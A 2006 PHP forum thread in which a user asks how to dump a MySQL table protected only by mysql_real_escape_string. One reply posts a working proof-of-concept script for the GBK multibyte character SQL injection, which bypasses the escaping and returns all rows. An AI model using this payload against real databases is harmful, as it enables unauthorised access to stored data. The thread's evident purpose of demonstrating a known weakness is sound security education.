Page 1 of 1

security challenge

Posted: Tue Jul 25, 2006 10:28 pm
by Charles256
i know this may seem trivial but list every possible way to hack into a database and dump the table if all they use is mysql_real_escape string and all data is error checked client side. i'm doing it on a local server that is not connected to the internet so no hacking laws are being broken. ideas? got a point to prove to a friend....

Posted: Tue Jul 25, 2006 10:36 pm
by daedalus__
Are there ways? I'd Google.

Posted: Tue Jul 25, 2006 10:37 pm
by Charles256
No. I know there are ways. i've heard them. but I have no idea how to implement them. I know we got security experts lurking around here, show your stuff ;)

Posted: Wed Jul 26, 2006 3:41 am
by Jenk
present the script with a bogus SQL statement, script spits out error with login credentials (dependant on type of error), login to database remotely with said credentials..

dunno :shrug: am just brain_dumping()™

Posted: Tue Aug 01, 2006 6:27 am
by HubGoblin
Pimptastic | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]

Code: Select all

<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; 
$_POST['password'] = 'anything'; 

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
This example demonstrates SQL injection even when using addslashes ot mysql_real_escape_string

Database collation should be GBK in order to trigger successfully. Enjoy.


Pimptastic | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]

Posted: Tue Aug 01, 2006 6:34 am
by volka